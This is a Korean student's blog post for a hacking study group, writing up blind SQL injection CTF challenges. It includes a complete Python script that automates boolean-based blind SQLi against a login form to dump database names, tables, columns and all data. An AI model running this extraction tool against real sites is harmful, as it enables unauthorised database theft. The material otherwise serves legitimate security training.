-
7주차 과제모의해킹스터디_과제 2023. 12. 12. 15:21
당일 과제[1] Error Based SQLi 정리 & 연습문제 풀기-
[SQL Injection (Error Based SQLi Basic)][2] Blind SQLi 정리 & 연습문제 풀기-
[SQL Injection (Blind Practice)]-
수작업으로!이번주 과제
[1] SQL Injection : 데이터 추출 총 정리
[2] SQL Injection 문제 풀어보기!
[3] write up 작성
웹사이트 개발 과제[게시판]게시글 리스트 보여주는 페이지게시글 상세 내용 보여주는 페이지게시글 작성 페이지
이번주 과제
노말틱님의 취침통제 덕분에(?) 수업 이후 자발적으로 당일 과제를 끝냈다.
수작업으로 하길 당부하셔서 Burp Suite로 하나하나 확인했는데,
하면서 이해는 너무 잘 됐지만, 확실히 Blind SQLi를 수작업으로 한다는 게.. 정말 많이 귀찮았다.
게다가 한번 실수해서 넘어가거나 그러면.. 다시 확인해야 한다.
.
..
끝내자마자 바로 자동화를 해야겠다는 생각만 가득했다.
[1] SQL Injection : 데이터 추출 총 정리
Blind SQLi를 마지막으로 SQL Injection이 마무리됐다.
SQL Injection의 내용은 수업할 때마다 정리를 해서 굳이 여기에 따로 총 정리를 안해도 될 것 같고
이전 글을 확인해보면 될 것 같다.
2023.12.07 - [모의해킹스터디5기(feat.Normaltic)] - SQL Injection [5주차]
2023.12.08 - [모의해킹스터디5기(feat.Normaltic)] - UNION SQL Injection [6주차]
2023.12.08 - [모의해킹스터디5기(feat.Normaltic)] - Error Based SQLi / Blind SQLi [7주차]
[2] SQL Injection 문제 풀어보기!
새로 추가된 문제는 총 4개다.
1. SQL Injection 문제들 SQL Injection 3부터 6까지인데 전부 같은 원리의 Blind SQLi로
배운 것들을 그대로 적용하기만 하면 다 풀 수 있다.
적용하기만 하면 풀 수 있는데,
할 수 있는데,
아까 말했듯이 너무 번거롭다는 거..
바로 자동화 프로그램을 만들어보도록 하겠다.
Blind SQLi 자동화
구글링을 하다보니 Blind SQLi를 자동화하는 프로그램이 있길래, 이걸 목적에 맞게 고쳐보도록 하겠다.
기존의 프로그램은 원하는 SELECT문을 직접 입력해서 그 결과를 알려주는 프로그램이었는데,
Blind SQLi 프로세스에 맞게 DB부터, 테이블, 컬럼까지 구해서 모든 데이터를 출력하는 프로그램으로 바꿔보겠다.
(기존의 프로그램 코드 출처는 아래에 참조해두었다.)
blind_auto.py
import requests import urllib.parse #------------------수정하는 부분---------------------------- # 1. URL url = ("http://ctf.segfaulthub.com:7777/sqli_3/login.php") # 2. header headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.199 Safari/537.36", "Cookie": "자신의 쿠키 ex) session=????, cookie=????" } # 3. 식별메시지 index_value = "Warning!" #-----------------------------------------------------------
위 부분만 적절히 수정해주면 다른 Blind SQLi 문제도 풀 수 있을 것이다.
실제로 이번에 추가된 문제를 다 이 코드로 풀었다.
(+ 이 코드는 POST방식으로 코드가 짜여있는데, GET 방식으로 하고 싶다면 구글링하길)
# SQL틀 SQL_format = "' AND ascii(substring(({}),{},1))>{} AND '1'='1" # Blind SQLi 함수 def blind_sqli(SQL_format, query) : while True : value = binarySearch(query,index_value) return value # 이진탐색 함수 def binarySearch(query, index_value) : # SQL substring 위치 s = 1 # 아스키코드 번호 [스페이스(32) / ~(126)] start = 32 end = 126 value = "" while True : # 먼저 아스키코드가 0인지 식별 mid = int((start+end)/2) data = { "UserId": "normaltic" + SQL_format.format(query, s, 0), "Password": "1234", "Submit": "Login" } response = requests.post(url, data=data, headers=headers) # 0보다 큰게 거짓이면 NULL값이므로 종료한다 if index_value in response.text : break else : data = { "UserId": "normaltic"+SQL_format.format(query, s, mid), "Password": "1234", "Submit": "Login" } response = requests.post(url, data=data, headers=headers) # 거짓이면 끝 값을 mid로 바꾼다 if index_value in response.text : end = mid # 참이면 시작 값을 mid로 바꾼다 else : start = mid # 만약 start값에 1 더해서 end랑 같거나 크면 end가 답이다. if start+1 >= end : value += chr(end) # 다음 글자 찾기 s+=1 # 초기화 start = 32 end = 126 # s가 그대로 1이면 아무것도 나오지 않았을 때 if s==1: return "No data" else: return value
위의 코드가 구글링해서 찾은 코드의 알고리즘이다.
어느정도는 고친 부분이 있긴 하지만 기본적인 원리는 동일하다.
코드 작성하신 분께서 주석을 달아두셨긴 한데, 추가로 필요할 것 같은 부분도 더 달아두었다.
그럼에도 이해하기가 어렵다면, 글 솜씨가 부족한 탓이다..
# Database 찾기 print("[database]") query = "SELECT database()" db_name = blind_sqli(SQL_format, query) print(db_name) print() # 테이블 찾기 print("[table]") query = "SELECT table_name FROM information_schema.tables WHERE table_schema='{}' LIMIT {}, 1" limit_num = 0 tables = [] while True: response = blind_sqli(SQL_format, query.format(db_name, limit_num)) if response=="No data": break else: print(response) tables.append(response) limit_num+=1 print() # 컬럼 찾기 print("[column]") query = "SELECT column_name FROM information_schema.columns WHERE table_name='{}' LIMIT {}, 1" limit_num = 0 table_num = 0 columns = [[] for i in range(len(tables))] print("--["+tables[table_num]+"]") while True: response = blind_sqli(SQL_format, query.format(tables[table_num], limit_num)) if response=="No data": if table_num==len(tables)-1: break else: table_num+=1 limit_num=0 print("\n--["+tables[table_num]+"]") else: print(response) columns[table_num].append(response) limit_num+=1 print() # 얻은 정보로 data 추출하기 print("[data]") query = "SELECT {} FROM {} LIMIT {}, 1" table_num = 0 column_num = 0 limit_num = 0 while True: response = blind_sqli(SQL_format, query.format(columns[table_num][column_num], tables[table_num], limit_num)) if response=="No data": if column_num==len(columns[table_num])-1: if table_num==len(tables)-1: break else: table_num+=1 column_num=0 limit_num=0 else: column_num+=1 limit_num=0 else: print(query.format(columns[table_num][column_num], tables[table_num], limit_num), ":", response) limit_num+=1
이 부분이 내가 작성한 부분인데, DB 이름부터 시작해서 테이블 이름, 각 테이블의 컬럼 이름을 다 구해서
모든 데이터를 추출하여 출력하는 프로그램이다.
조금 복잡해 보이지만 간단하게 SELECT문 안의 내용들만 바꿔서 하나하나 SQL문 결과를 출력하는 프로그램이다.
SELECT 컬럼 FROM 테이블 LIMIT 번호, 1
[3] write up 작성
모든 문제가 전부 로그인 페이지에서 flag를 찾는 것으로 같은 방식이다.
제공하는 아이디와 비밀번호도 normaltic / 1234 로 모두 동일하다.
1. SQL Injection 문제 화면 참과 거짓을 분별하는 메세지도 같은 방식으로 'Warning!' 으로 나오기 때문에
페이지 URL만 바꿔서 프로그램을 실행했더니 쉽게 해결했다.
2. SQL Injection 참/거짓 판별메세지 그럼 바로 프로그램 실행 결과를 확인해 보도록 하겠다.
3. SQL Injection 4 프로그램 실행 결과 이런 식으로 database와 table, column 등등 먼저 나오고, 실행한 SELECT문과 그 결과가 옆에 나오게 했다.
4. SQL Injection 5, 6 프로그램 실행 결과 다른 문제들도 결과가 잘 나온다. 결과 중에 flag 찾아서 입력하면 된다.
하나 확실한 건, 자동화 프로그램을 무조건 만들어 보라고 강제하는 문제들이다.
5번도 심했지만, 6번은 진짜.. 일일이 했다면 5시간 정도 걸리지 않았을까 싶다.
4. SQL Injection 6_농락메세지 이번에도 여전한 농락메세지까지ㅎ
결론
Blind SQLi 프로세스만 잘 이해하고 자동화 프로그램을 잘 작성하기만 하면 쉽게 풀 수 있는 문제였다.
오랜만에 코드를 작성하면서 재미를 느꼈다. 다음에는 어떤 문제를 풀 지 기대된다.
참조
[노말틱 모의 해킹 취업반 6주차 해킹과제] Blind SQL Injection Python(POST방식)
안녕하세요! 오늘은 Blind SQL Injection을 했을 때 저희가 일일이 문자 하나하나 넣어서 확인했었잖아요? 이제 그걸 자동화하기 위해 파이썬으로 코드를 짜서 만들어보겠습니다. 일단은 import requests
mynameisarke.tistory.com